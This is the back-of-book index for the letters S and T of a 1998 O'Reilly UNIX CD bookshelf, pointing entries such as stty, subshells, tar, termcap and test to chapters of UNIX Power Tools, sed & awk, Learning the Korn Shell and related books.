stty -g command : UNIX Power Tools, 42.4. Checklist for Resetting a Messed Up Terminal
stty cbreak command : UNIX Power Tools, 41.7. Reading Verrrry Long Lines from the Terminal
stty icanon command : UNIX Power Tools, 41.7. Reading Verrrry Long Lines from the Terminal
stty nostop command : UNIX Power Tools, 12.7. Stop Background Output with stty tostop
stty size command : UNIX Power Tools, 42.5. Checklist: Screen Size Messed Up?
stty size command : UNIX Power Tools, 42.5. Checklist: Screen Size Messed Up?
su command
UNIX Power Tools, 2.4. Tip for Changing Account Setup: Keep a Shell Ready
UNIX Power Tools, 22.22. The su Command Isn't Just for the Superuser
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: su
starting a subshell : UNIX Power Tools, 38.4. Subshells
su stucklogin : UNIX Power Tools, 5.6. Checklist: Terminal Hangs When I Log In
sub()
sed & awk, 9.2. String Functions
sed & awk, 9.2.3. Substitution Functions
sed & awk, 11.2.3.10. A general substitution function
sub command (awk)
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
UNIX in a Nutshell, Chapter 11, Reference: sub
subdirectories : (see directories)
subdirectories : (see directories)
subprocess : (see child processes)
subprocesses : Learning the Korn Shell, 3.5. Customization and Subprocesses
subroutines, dot (.) command compared to : UNIX Power Tools, 44.23. Reading Files with the . and source Commands
SUBSEP variable : sed & awk, 8.5.1. Multidimensional Arrays
subshell operators
UNIX Power Tools, 2.2. Shell Setup Files-Which, Where, and Why
UNIX Power Tools, 13.10. How to tee Several Commands Into One File
subshells
Learning the Korn Shell, 4.1. Shell Scripts and Functions
Learning the Korn Shell, 8. Process Handling
Learning the Korn Shell, 8.6. Subshells
UNIX Power Tools, 38.4. Subshells
( ) operators for : UNIX Power Tools, 13.7. The () Subshell Operators
information passed from parent processes : Learning the Korn Shell, 3.5. Customization and Subprocesses
inheritance of properties from parent shells : Learning the Korn Shell, 8.6.1. Subshell Inheritance
levels : UNIX Power Tools, 7.9. Show Subshell Level with $SHLVL
nested
Learning the Korn Shell, 8.6.2. Nested Subshells
Learning the Korn Shell, 9.2.3.6. Limitations
Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
compared to code blocks : Learning the Korn Shell, 8.6.2. Nested Subshells
redirected loops running in : UNIX Power Tools, 45.23. The Ins and Outs of Redirected I/O Loops
running : UNIX Power Tools, 46.6. Watch Out for Bourne Shell -e Bug
setting command-line parameters : UNIX Power Tools, 44.19. The Bourne Shell set Command
starting : UNIX Power Tools, 2.16. Approved Shells: Using Unapproved Login Shell
su command and : (see su command)
substitute
character (s) : Learning the vi Editor, 2.4. More Ways to Insert Text
line (S) : Learning the vi Editor, 2.4. More Ways to Insert Text
text (:s) : Learning the vi Editor, 5.1. ex Commands
substitute command (ed, sed) : (see s command (ed); s command (sed))
substitute command (ex)
UNIX Power Tools, 33.4. Useful ex Commands
UNIX in a Nutshell, Chapter 9, Reference: substitute
substituting text (sed)
sed & awk, 2.1. Awk, by Sed and Grep, out of Ed
sed & awk, 5.3. Substitution
(see also s command (sed))
relacement metacharacters : sed & awk, 5.3.1. Replacement Metacharacters
substitution command (:s)
Learning the vi Editor, 2.4. More Ways to Insert Text
Learning the vi Editor, 6. Global Replacement
substitution functions (awk)
sed & awk, 9.2.3. Substitution Functions
sed & awk, 11.2.3.10. A general substitution function
substr()
sed & awk, 9.2. String Functions
sed & awk, 9.2.1. Substrings
sed & awk, 11.2.1.2. Obtaining individual characters
substr command (awk)
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
UNIX in a Nutshell, Chapter 11, Reference: substr
substrings : (see strings)
subtraction (-) operator : sed & awk, 7.6. Expressions
suid
Learning the Korn Shell, A.6. Workalikes on PC Platforms
UNIX Power Tools, 1.23. File Access Permissions
UNIX Power Tools, 1.25. Access to Directories
suid shell scripts
Learning the Korn Shell, 10.3.2. A System Break-in Scenario
Learning the Korn Shell, 10.3.4. Privileged Mode
sum command : UNIX in a Nutshell, Chapter 2, Reference: sum
SunExpert magazine, article on awk : UNIX Power Tools, 44.14. Putting awk, sed, etc., Inside Shell Scripts
SunOS
Learning the Korn Shell, 1. Korn Shell Basics
Learning the Korn Shell, 1.3. History of UNIX Shells
Learning the Korn Shell, 1.9.5. Control Keys
Learning the Korn Shell, 4.4. Command Substitution
superuser : (see root user)
suppressing output
sed & awk, 2.3.2.2. Suppressing automatic display of input lines
sed & awk, 5.2. Comment
suspend character
Learning the UNIX Operating System, 6.1. Running a Command in the Background
UNIX Power Tools, 5.9. Setting Your Erase, Kill, and Interrupt Characters
suspend command
Learning the UNIX Operating System, 1.4. The Unresponsive Terminal
UNIX Power Tools, 38.4. Subshells
UNIX in a Nutshell, Chapter 4, Reference: suspend
UNIX in a Nutshell, Chapter 5, Reference: suspend
SVR4 (System V Release 4) : UNIX in a Nutshell, 1.1. Merging the Traditions
swapon command : UNIX Power Tools, 50.12. Common UNIX Error Messages
swapping
UNIX Power Tools, 39.3. The csh time variable
UNIX Power Tools, 39.12.2. The Memory Subsystem
UNIX Power Tools, 50.12. Common UNIX Error Messages
switch statements
UNIX Power Tools, 47.6. Quick Reference: C Shell switch Statement
UNIX in a Nutshell, Chapter 5, Reference: switch
symbol cross-references
UNIX in a Nutshell, Chapter 2, Reference: cscope
UNIX in a Nutshell, Chapter 2, Reference: cxref
symbol tables, printing : UNIX in a Nutshell, Chapter 2, Reference: nm
symbolic links
UNIX Power Tools, 14.13. Which Directory Am I in, Really?
UNIX Power Tools, 18.4. More About Links
UNIX Power Tools, 24.4. Save Space with a Link
advantages : UNIX Power Tools, 18.3. Files with Two or More Names
between directories : UNIX Power Tools, 18.7. Linking Directories
copying : UNIX Power Tools, 18.15. Copying Directory Trees with cp -r
disk space and : UNIX Power Tools, 14.14. Automatic Setup When You Enter/Exit a Directory
filenames for : UNIX Power Tools, 18.8. Showing the Actual Filenames for Symbolic Links
finding
UNIX Power Tools, 17.13. Searching for Files by Type
UNIX Power Tools, 16.28. oldlinks: Find Unconnected Symbolic Links
relinking : UNIX Power Tools, 18.14. Relinking Multiple Symbolic Links
stale : UNIX Power Tools, 18.5. Creating and Removing Links
symbols
UNIX Power Tools, 44.15.1. With the $@"
(see also under specific symbol names)
in filenames and pathnames : UNIX Power Tools, 44.15.1. With the $@"
reference for : Learning the UNIX Operating System, B.2. Special Symbols
terms for : UNIX Power Tools, 51.8. Type Bang Splat. Don't Forget the Rabbit Ears
sync program : UNIX Power Tools, 1.14. The Kernel and Daemons
syntax
command-line
sed & awk, 2.2. Command-Line Syntax
sed & awk, A.1. Command-Line Syntax
sed commands : sed & awk, 5.1. About the Syntax of sed Commands
"Syntax error" error message : UNIX Power Tools, 46.4. Stop Syntax Errors in Numeric Tests
system
commands, replacing : UNIX Power Tools, 8.7.1. Setting Path in Shell Setup Files
recovering from crash : Learning the vi Editor, 4.2.3. Recovering a Buffer
current system name : UNIX in a Nutshell, Chapter 2, Reference: uname
load, checking : UNIX Power Tools, 39.7. Checking System Load: uptime
overloaded : UNIX Power Tools, 12.5. System Overloaded? Try Stopping Some Jobs
password file contents : UNIX Power Tools, 1.9. Which Shell Am I Running?
performance issues : UNIX Power Tools, 39.12. What Makes Your Computer Slow? How Do You Fix It?
resources, fundamental : UNIX Power Tools, 39.12. What Makes Your Computer Slow? How Do You Fix It?
system time
UNIX Power Tools, 39.2. Timing Programs
UNIX Power Tools, 39.5. Why Is the System So Slow?
sed & awk, 11.2.3.11. Time management for programmers
system-state CPU time : UNIX Power Tools, 39.5. Why Is the System So Slow?
tracing system calls : UNIX in a Nutshell, Chapter 2, Reference: truss
usage information
UNIX in a Nutshell, Chapter 2, Reference: time
UNIX in a Nutshell, Chapter 2, Reference: timex
UNIX in a Nutshell, Chapter 2, Reference: w
logged-in users : UNIX in a Nutshell, Chapter 2, Reference: ruptime
printing : UNIX in a Nutshell, Chapter 2, Reference: uptime
variables (awk) : UNIX Power Tools, 33.11.3. awk System Variables
system() : sed & awk, 10.3. The system() Function
system command (awk)
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
UNIX in a Nutshell, Chapter 11, Reference: system
system dictionary, adding to : UNIX in a Nutshell, Chapter 2, Reference: spell
System III : Learning the Korn Shell, 1.9.5. Control Keys
System V Release 4
Learning the Korn Shell, 1.3.1. The Korn Shell
Learning the Korn Shell, 1.4. Getting the Korn Shell
UNIX in a Nutshell, 1.1. Merging the Traditions
System V UNIX
Learning the Korn Shell, 1.9.5. Control Keys
Learning the Korn Shell, 3.4.2.4. Terminal Types
alternatives for : UNIX Power Tools, 50.8. Which Version Am I Using?
C shell nice command : UNIX Power Tools, 39.9.3. System V C Shell nice
manual page categories : UNIX Power Tools, 50.1. UNIX Online Documentation
printing commands : UNIX Power Tools, 43.2.1. System V Printing Commands
standalone nice command : UNIX Power Tools, 39.9.4. System V Standalone nice
tape archiver (cpio) : UNIX Power Tools, 19.9. A System V Tape Archiver: cpio
which command : UNIX Power Tools, 50.8. Which Version Am I Using?
system variables
sed & awk, 7.7. System Variables
sed & awk, 8.6. System Variables That Are Arrays
sed & awk, B.2.5.5. System variables
awk : UNIX in a Nutshell, 11.4. Awk System Variables
gawk : sed & awk, 11.2.3.8. Additional variables
systime() : sed & awk, 11.2.3.11. Time management for programmers

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: T

t command (ex) : UNIX in a Nutshell, Chapter 9, Reference: t
t command (sed)
sed & awk, 6.4.2. The Test Command
UNIX in a Nutshell, Chapter 10, Reference: t
TAB characters
UNIX Power Tools, 25.13. pushin: Squeeze Out Extra White Space
UNIX Power Tools, 31.5. Keymaps for Pasting into a Window Running vi
UNIX Power Tools, 41.2.3. What About TABs?
UNIX Power Tools, 41.4. How UNIX Handles TAB Characters
UNIX Power Tools, 41.4.1. TAB Is Just Another Character to UNIX
(see also whitespace)
converting into spaces : UNIX Power Tools, 41.4.1. TAB Is Just Another Character to UNIX
diff command and : UNIX Power Tools, 28.10. Problems with diff and Tabstops
disk space and : UNIX Power Tools, 24.6. Save Space with Tab Characters
expanding : UNIX Power Tools, 41.2.3. What About TABs?
making files with non-standard : UNIX Power Tools, 41.4.1. TAB Is Just Another Character to UNIX
nroff/troff requests for : UNIX in a Nutshell, 12.5.13. Tabs
removing : UNIX Power Tools, 43.19. Removing Leading Tabs and Other Trivia
setting
UNIX Power Tools, 41.2.3. What About TABs?
UNIX in a Nutshell, Chapter 2, Reference: tabs
stripping : UNIX Power Tools, 8.18. Here Documents
telling UNIX to expand : UNIX Power Tools, 41.4.2. Telling UNIX to Expand TABs
tab delays : UNIX Power Tools, 41.2.3. What About TABs?
TAB key, file completion and : UNIX Power Tools, 9.9. Don't Match Useless Files in Filename Completion
tables : UNIX Power Tools, 43.12.1. troff
converting files into : UNIX in a Nutshell, Chapter 2, Reference: yacc
formatting in nroff/troff : UNIX in a Nutshell, 16.1. Tbl
symbol tables, printing : UNIX in a Nutshell, Chapter 2, Reference: nm
tabs command : UNIX in a Nutshell, Chapter 2, Reference: tabs
tag command (ex) : UNIX in a Nutshell, Chapter 9, Reference: tag
tags files : UNIX Power Tools, 30.28. Keep Track of Functions and Included Files with ctags and tags
tags for C code : Learning the vi Editor, 7.5.3. Using Tags
tags in time variable format string : UNIX Power Tools, 39.3. The csh time variable
tail command
Learning the Korn Shell, 5.2. for
UNIX Power Tools, 13.9. Send Output Two or More Places with tee
UNIX Power Tools, 25.14. How to Look at the End of a File: tail
UNIX in a Nutshell, Chapter 2, Reference: tail
-f option
UNIX Power Tools, 25.16. How to Look at a File as It Grows
UNIX Power Tools, 46.1.1. Use -xv
Talbott, Steve : UNIX Power Tools, 52.8.2.8. The make Program
talk command
UNIX in a Nutshell, Chapter 2, Reference: talk
UNIX Power Tools, 1.33. UNIX Networking and Communications
tape drives
UNIX Power Tools, 20.5. Using tar to a Remote Tape Drive
UNIX Power Tools, 20.6. Writing a Tape Drive on a Remote Machine
tape files, copying/restoring
UNIX in a Nutshell, Chapter 2, Reference: cpio
UNIX in a Nutshell, Chapter 2, Reference: tar
tar archives
UNIX Power Tools, 19.5. Using tar to Create and Unpack Archives
UNIX Power Tools, 19.6. GNU tar Sampler
UNIX Power Tools, 20.1. tar in a Nutshell
UNIX Power Tools, 52.8.2.4. Unsharring the Sources
excluding/including files in : UNIX Power Tools, 20.8. Telling tar Which Files to Exclude or Include
filename extension : UNIX Power Tools, 1.17. Filename Extensions
unpacking : UNIX Power Tools, 11.3. My Favorite Is !$
tar command
UNIX Power Tools, 20.1. tar in a Nutshell
UNIX Power Tools, 20.11. Getting tar's Arguments in the Right Order
UNIX Power Tools, 24.8. Save Space: tar and compress a Directory Tree
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: tar
-B option : UNIX Power Tools, 18.16. Copying Directory Trees with (tar | tar)
-C option
UNIX Power Tools, 20.8.1. Including Other Directories
UNIX Power Tools, 20.10. Avoid Absolute Paths with tar
copying directory trees : UNIX Power Tools, 18.16. Copying Directory Trees with (tar | tar)
-f option : UNIX Power Tools, 19.7. Extracting Files from a Compressed Archive
-F option : UNIX Power Tools, 20.8. Telling tar Which Files to Exclude or Include
-FF option : UNIX Power Tools, 20.8. Telling tar Which Files to Exclude or Include
-I option : UNIX Power Tools, 20.8. Telling tar Which Files to Exclude or Include
-o option : UNIX Power Tools, 19.7. Extracting Files from a Compressed Archive
retoring files from tape : UNIX Power Tools, 20.4. Restoring Files from Tape with tar
-t option
UNIX Power Tools, 20.3.1. Syntax of the tar Command
UNIX Power Tools, 20.4.1. Restoring a Few Files
-v option
UNIX Power Tools, 18.16. Copying Directory Trees with (tar | tar)
UNIX Power Tools, 19.8. Problems with Verbose tar
UNIX Power Tools, 20.3.1. Syntax of the tar Command
without wildcards : UNIX Power Tools, 20.9. When a Program Doesn't Understand Wildcards
-x option : UNIX Power Tools, 20.3.1. Syntax of the tar Command
-X option : UNIX Power Tools, 20.8. Telling tar Which Files to Exclude or Include
.tar filename extension
UNIX Power Tools, 1.17. Filename Extensions
UNIX Power Tools, 52.8.2.3. Untarring the Sources
tar script (GNU) : UNIX Power Tools, 19.6. GNU tar Sampler
targets, updating : UNIX in a Nutshell, Chapter 2, Reference: make
tawk : sed & awk, 11.3.2. Thompson Automation awk (tawk)
Tbl preprocessor
UNIX Power Tools, 48.12. Using index with a Filter
UNIX in a Nutshell, 16.1. Tbl
tc program : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
tcap program
UNIX Power Tools, 41.10. Using terminfo Capabilities in Shell Programs
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
Tcl : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
Tcl-based applications : UNIX Power Tools, 9.26. Expect
TCP/IP : Learning the Korn Shell, 7.2.2.3. Code blocks
tcsh shell
UNIX Power Tools, 1.8. There Are Many Shells
UNIX Power Tools, 2.2.5. tcsh
UNIX Power Tools, 8.3. Introduction to tcsh
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
highlighting in : UNIX Power Tools, 7.8. Highlighting in Shell Prompts
history editing : UNIX Power Tools, 11.14. More Ways to Do Interactive History Editing
prompt setting
UNIX Power Tools, 7.4. Faster Prompt Setting with Built-Ins
UNIX Power Tools, 7.9. Show Subshell Level with $SHLVL
tee command
Learning the Korn Shell, 7.1.2. File Descriptors
UNIX Power Tools, 13.9. Send Output Two or More Places with tee
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: tee
-a option : UNIX Power Tools, 13.10. How to tee Several Commands Into One File
saving output to files : UNIX Power Tools, 46.1.1. Use -xv
teletypes : UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
tell pseudo-command (sccs) : UNIX in a Nutshell, 17.6.2. Pseudo-commands
telnet utility
UNIX Power Tools, 1.33. UNIX Networking and Communications
UNIX Power Tools, 2.4. Tip for Changing Account Setup: Keep a Shell Ready
UNIX Power Tools, 2.12. Automatic Setups for Different Terminals
UNIX in a Nutshell, Chapter 2, Reference: telnet
correcting the remote host window size : UNIX Power Tools, 42.5. Checklist: Screen Size Messed Up?
modes : UNIX in a Nutshell, Chapter 2, Reference: telnet
stalled connection with : UNIX Power Tools, 42.2.4. Stalled Data Connection?
temporary files
Learning the Korn Shell, 8.4.2. Process ID Variables and Temporary Files
UNIX Power Tools, 14.11. Finding (Anyone's) Home Directory, Quickly
cleanup command and : UNIX Power Tools, 3.4. Automatic File Cleanup
ending with ~ : UNIX Power Tools, 17.18. Using "Fast find"
for file searches : UNIX Power Tools, 9.24. Get File List by Editing Output of ls -l, grep, etc.
handling text with : UNIX Power Tools, 9.17. Handling Lots of Text with Temporary Files
managing : UNIX Power Tools, 45.11. The Multipurpose jot Command
redirecting output to : UNIX Power Tools, 46.1.1. Use -xv
/tmp directory
UNIX Power Tools, 21.4. Why Both /tmp and /usr/tmp?
(see also /tmp directory)
unique filename generation for : UNIX Power Tools, 16.16. Picking a Unique Filename Automatically
TERM environment variable
Learning the Korn Shell, 3.4.2.4. Terminal Types
Learning the Korn Shell, 3.5.1. Environment Variables
Learning the Korn Shell, 5.3. case
Learning the Korn Shell, 5.4. select
Learning the Korn Shell, 6.3. Arrays
Learning the Korn Shell, 7.2.2.1. Reading lines from files
Learning the Korn Shell, 10.2.3. Types of Global Customization
UNIX in a Nutshell, 4.3.3. Other Shell Variables
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
UNIX Power Tools, 2.12. Automatic Setups for Different Terminals
UNIX Power Tools, 5.10. Finding What Terminal Names You Can Use
UNIX Power Tools, 6.3. Predefined Environment Variables
UNIX Power Tools, 6.4. The PATH Environment Variable
UNIX in a Nutshell, 5.3.5. Environment Variables
in C shell : UNIX Power Tools, 47.2.5. Variable Syntax
cases : UNIX Power Tools, 44.5. Test String Values with Bourne Shell case
examples : UNIX Power Tools, 44.5. Test String Values with Bourne Shell case
setting value of : UNIX Power Tools, 42.3. Why Changing TERM Sometimes Doesn't Work
TERM (terminate) signal
UNIX Power Tools, 38.8. What Are Signals?
UNIX Power Tools, 38.10. Destroying Processes with kill
termcap database
Learning the Korn Shell, 3.4.2.4. Terminal Types
UNIX Power Tools, 5.2. The Idea of a Terminal Database
UNIX Power Tools, 5.7. What termcap and terminfo Do and Don't Control
UNIX Power Tools, 6.3. Predefined Environment Variables
UNIX Power Tools, 7.8. Highlighting in Shell Prompts
UNIX Power Tools, 41.10. Using terminfo Capabilities in Shell Programs
UNIX Power Tools, 42.1. Making Sense Out of the Terminal Mess
language of : UNIX Power Tools, 41.11. How termcap and terminfo Describe Terminals
types of lines in : UNIX Power Tools, 41.11. How termcap and terminfo Describe Terminals
TERMCAP environment variable
UNIX Power Tools, 5.3. Setting the Terminal Type When You Log In
UNIX Power Tools, 6.3. Predefined Environment Variables
UNIX in a Nutshell, 5.3.5. Environment Variables
setting
UNIX Power Tools, 5.4. Setting the TERMCAP Variable with tset
UNIX Power Tools, 42.3. Why Changing TERM Sometimes Doesn't Work
terminal modes in Berkeley UNIX : UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
terminal ports : UNIX Power Tools, 2.12. Automatic Setups for Different Terminals
terminal settings : UNIX Power Tools, 2.13. A .cshrc.$HOST File for Per Host Setup
saving in file : UNIX Power Tools, 42.4. Checklist for Resetting a Messed Up Terminal
terminal, unresponsive (hung) : Learning the UNIX Operating System, 1.4. The Unresponsive Terminal
terminal, user : sed & awk, 11.2.1.4. Special filenames
terminals
aliases for : UNIX Power Tools, 41.11. How termcap and terminfo Describe Terminals
automatic setups : UNIX Power Tools, 2.12. Automatic Setups for Different Terminals
capability of : UNIX in a Nutshell, Chapter 2, Reference: tput
characters sent out by special keys : UNIX Power Tools, 41.12. Finding Out What Characters Your Terminal's Special Keys Send
checking height and width : UNIX Power Tools, 42.6.2. Screen Width and Height: screensize
checklist for resetting : UNIX Power Tools, 42.4. Checklist for Resetting a Messed Up Terminal
clear command for : UNIX Power Tools, 22.18. Clear Your Terminal for Security, to Stop Burn-in
clearing displays : UNIX in a Nutshell, Chapter 2, Reference: clear
clearing settings : UNIX in a Nutshell, Chapter 2, Reference: reset
commands for adjusting : UNIX Power Tools, 41.9. Commands to Adjust Your Terminal
configuring
UNIX Power Tools, 5.1. There's a Lot to Know About Terminals
UNIX Power Tools, 5.6. Checklist: Terminal Hangs When I Log In
UNIX Power Tools, 5.10. Finding What Terminal Names You Can Use
describing capabilities of : UNIX Power Tools, 41.11. How termcap and terminfo Describe Terminals
device name, printing : UNIX in a Nutshell, Chapter 2, Reference: tty
drivers
priority of : UNIX Power Tools, 39.5. Why Is the System So Slow?
settings : UNIX Power Tools, 42.1. Making Sense Out of the Terminal Mess
dumb
Learning the vi Editor, 2.3.1. Inserting New Text
Learning the vi Editor, 2.3.5.2. Lines
emulating
UNIX Power Tools, 1.31. The X Window System
UNIX Power Tools, 41.8. ptys and Window Systems
programs for : Learning the UNIX Operating System, 1.1.1.1. Connecting from another operating system
on X (xterm windows for)
Learning the UNIX Operating System, 2.3.2. The xterm Window
Learning the UNIX Operating System, 2.4.3. Using a Mouse with xterm Windows
files with lines longer than : UNIX Power Tools, 42.5. Checklist: Screen Size Messed Up?
fixing hung
UNIX Power Tools, 5.6. Checklist: Terminal Hangs When I Log In
UNIX Power Tools, 42.2. Fixing a Hung Terminal or Job
how to issue commands for : UNIX Power Tools, 41.11. How termcap and terminfo Describe Terminals
intelligent : Learning the vi Editor, 2.3.1. Inserting New Text
interpreting TAB characters : UNIX Power Tools, 41.4.1. TAB Is Just Another Character to UNIX
levels where problems can occur : UNIX Power Tools, 42.1. Making Sense Out of the Terminal Mess
naming : UNIX Power Tools, 5.10. Finding What Terminal Names You Can Use
operations
/etc/termcap/file : Learning the vi Editor, 7.1. Customizing vi
termcap : Learning the vi Editor, 7.3.7. Mapping Function Keys
terminfo : Learning the vi Editor, 7.3.7. Mapping Function Keys
reading long lines from : UNIX Power Tools, 41.7. Reading Verrrry Long Lines from the Terminal
resetting window layers : UNIX in a Nutshell, Chapter 2, Reference: jterm
screen editors
differences between terminals and : UNIX Power Tools, 5.2. The Idea of a Terminal Database
screen program
UNIX Power Tools, 3.7. Detaching a Session with screen
UNIX Power Tools, 12.9. Running Multiple Shell Sessions with screen
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
screen size
changing the settings of : UNIX Power Tools, 42.5. Checklist: Screen Size Messed Up?
setting in configuration files or environment variables : UNIX Power Tools, 42.5. Checklist: Screen Size Messed Up?
testing files : UNIX Power Tools, 42.6. Screen Size Testing Files
sending repeated characters to : UNIX Power Tools, 42.7. termtest: Send Repeated Characters to Terminal
setting modes : UNIX in a Nutshell, Chapter 2, Reference: tset
setting options : UNIX in a Nutshell, Chapter 2, Reference: stty
setup mode : UNIX Power Tools, 42.4. Checklist for Resetting a Messed Up Terminal
status line : UNIX Power Tools, 7.6. Session Information in Your Terminal's Status Line
testing
UNIX Power Tools, 42.6.1. Single Line Screen Width: 80cols
UNIX Power Tools, 42.6.3. Set Width, Test Line Wrapping: longlines
UNIX in a Nutshell, Chapter 2, Reference: lptest
types : UNIX Power Tools, 2.2. Shell Setup Files-Which, Where, and Why
writing to : UNIX Power Tools, 13.12. Writing to Multiple Terminals for Demonstrations
terminate signal : (see TERM signal)
terminating lines : sed & awk, B.2.2.1. Line termination
terminating process IDs : UNIX in a Nutshell, Chapter 2, Reference: kill
termination of user processes : UNIX in a Nutshell, Chapter 2, Reference: shutdown
termination status for background processes : UNIX in a Nutshell, Chapter 2, Reference: wait
terminator, record : sed & awk, 11.2.3.5. Regular expression record terminators
terminfo database
Learning the Korn Shell, 3.4.2.4. Terminal Types
Learning the Korn Shell, 5.4. select
UNIX Power Tools, 5.2. The Idea of a Terminal Database
UNIX Power Tools, 5.7. What termcap and terminfo Do and Don't Control
UNIX Power Tools, 5.10. Finding What Terminal Names You Can Use
UNIX Power Tools, 7.8. Highlighting in Shell Prompts
UNIX Power Tools, 41.10. Using terminfo Capabilities in Shell Programs
UNIX Power Tools, 42.1. Making Sense Out of the Terminal Mess
language of : UNIX Power Tools, 41.11. How termcap and terminfo Describe Terminals
types of lines in : UNIX Power Tools, 41.11. How termcap and terminfo Describe Terminals
terminology, interpreting : UNIX Power Tools, 51.8. Type Bang Splat. Don't Forget the Rabbit Ears
termtest script
UNIX Power Tools, 42.7. termtest: Send Repeated Characters to Terminal
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
test command
Learning the Korn Shell, Summary of Korn Shell Features
UNIX Power Tools, 51.6. Cleaning script Files
UNIX Power Tools, 44.20. test: Testing Files and Strings
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: test
UNIX in a Nutshell, Chapter 4, Reference: test
(see also condition tests, old syntax; t command (sed))
-a option : UNIX Power Tools, 45.33. Testing Two Strings with One case Statement
advantages : UNIX Power Tools, 45.33. Testing Two Strings with One case Statement
case statements compared to : UNIX Power Tools, 45.33. Testing Two Strings with One case Statement
errors caused by
UNIX Power Tools, 46.4. Stop Syntax Errors in Numeric Tests
UNIX Power Tools, 46.5. Stop Syntax Errors in String Tests
examples : UNIX Power Tools, 44.20. test: Testing Files and Strings
if loops using : UNIX Power Tools, 44.20. test: Testing Files and Strings
-o option : UNIX Power Tools, 45.33. Testing Two Strings with One case Statement
returns : UNIX Power Tools, 44.20. test: Testing Files and Strings
until loops using : UNIX Power Tools, 44.20. test: Testing Files and Strings
versions of : UNIX Power Tools, 44.20. test: Testing Files and Strings
while loops using
UNIX Power Tools, 44.20. test: Testing Files and Strings
UNIX Power Tools, 44.17. Handling Arguments with while and shift
test operators, list of : Learning the Korn Shell, B.4. Test Operators
testing
character strings using expr : UNIX Power Tools, 45.29. Testing Characters in a String with expr
exit status : UNIX Power Tools, 46.9. If Command Doesn't Return a Status, Test the Error Messages
for membership in arrays : sed & awk, 8.4.2. Testing for Membership in an Array
output : sed & awk, 4.3. Testing and Saving Output
testing_files directory : UNIX Power Tools, 42.6. Screen Size Testing Files
testopt : Learning the Korn Shell, 3.3. Options
TeX program : UNIX Power Tools, 43.12.2. TeX
Texinfo files : UNIX Power Tools, 52.5.3.4. Installing a Single Program
text
appending to files : Learning the UNIX Operating System, 5.1.1.2. The >> operator
ASCII character set : UNIX in a Nutshell, 21. ASCII Character Set
counting elements of : UNIX Power Tools, 29.6. Counting Lines, Words, and Characters: wc
double-spacing : UNIX Power Tools, 25.12. Double Space, Triple Space ...
editors for : Learning the UNIX Operating System, 4.1. Methods of Creating Files
empty files and : UNIX Power Tools, 13.14. What Can You Do with an Empty File?
handling in xterm windows : Learning the UNIX Operating System, 2.4.3. Using a Mouse with xterm Windows
handling with temporary files : UNIX Power Tools, 9.17. Handling Lots of Text with Temporary Files
highlighting : UNIX Power Tools, 27.20. A Highlighting grep
inserting into files : Learning the UNIX Operating System, 5.1.1. Putting Text in a File
pattern matching : UNIX in a Nutshell, 6. Pattern Matching
printing format : Learning the UNIX Operating System, 4.5. Printing Files
processing, references for : Learning the UNIX Operating System, A.2. Text Processing and Programming
searching files for : Learning the UNIX Operating System, 5.2.1. grep
sorting lines of : Learning the UNIX Operating System, 5.2.2. sort
text blocks : sed & awk, 6.3.3. Building Blocks of Text
sorting : Learning the vi Editor, 7.4.3. Sorting Text Blocks: A Sample ex Script
switching : Learning the vi Editor, 6.4.2. Block Move by Patterns
text editors : (see under specific editors)
text files
filename extension : UNIX Power Tools, 1.17. Filename Extensions
finding : UNIX Power Tools, 16.26. Finding Text Files with findtext
newline character in : UNIX Power Tools, 1.29. When Is a File Not a File?
text files, editing : (see text editors)
text object
Learning the vi Editor, 2.3.3.1. Words
Learning the vi Editor, 2.6. Review of Basic vi Commands
filter through command : Learning the vi Editor, 7.2.1. Filtering Text Through a Command
text formatting/processing
awk for : (see awk scripting language)
centering lines : UNIX Power Tools, 35.8. Centering Lines in a File
formatting columns : UNIX Power Tools, 35.14. Cutting Columns or Fields with cut
indent text : UNIX Power Tools, 35.7. offset: Indent Text
joining lines : UNIX Power Tools, 35.19. Joining Lines with join
me macros : UNIX in a Nutshell, 15. me Macros
mm macros : UNIX in a Nutshell, 13. mm Macros
ms macros : UNIX in a Nutshell, 14. ms Macros
neatening text
UNIX Power Tools, 35.2. Neatening Text with fmt
UNIX Power Tools, 35.3. Alternatives to fmt
nroff and troff programs
UNIX in a Nutshell, 12. Nroff and Troff
UNIX in a Nutshell, 16. Preprocessors
re-format comment lines : UNIX Power Tools, 35.4. recomment: Clean Up Program Comment Blocks
remove mail/news headers : UNIX Power Tools, 35.5. Remove Mail/News Headers with behead
rotating text : UNIX Power Tools, 35.23. Rotating Text
sed for : (see sed)
selecting columns : UNIX Power Tools, 35.14. Cutting Columns or Fields with cut
splitting files : UNIX Power Tools, 35.9. Splitting Files at Fixed Points: split
straightening jagged columns : UNIX Power Tools, 35.22. Straightening Jagged Columns
tgrep script
UNIX Power Tools, 27.13. More grep-like Programs Written in Perl
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
then statement (examples) : UNIX Power Tools, 44.8. Test Exit Status with the if Statement
Thompson Automation awk (tawk) : sed & awk, 11.3.2. Thompson Automation awk (tawk)
thrashing : (see processes, performance characteristics of)
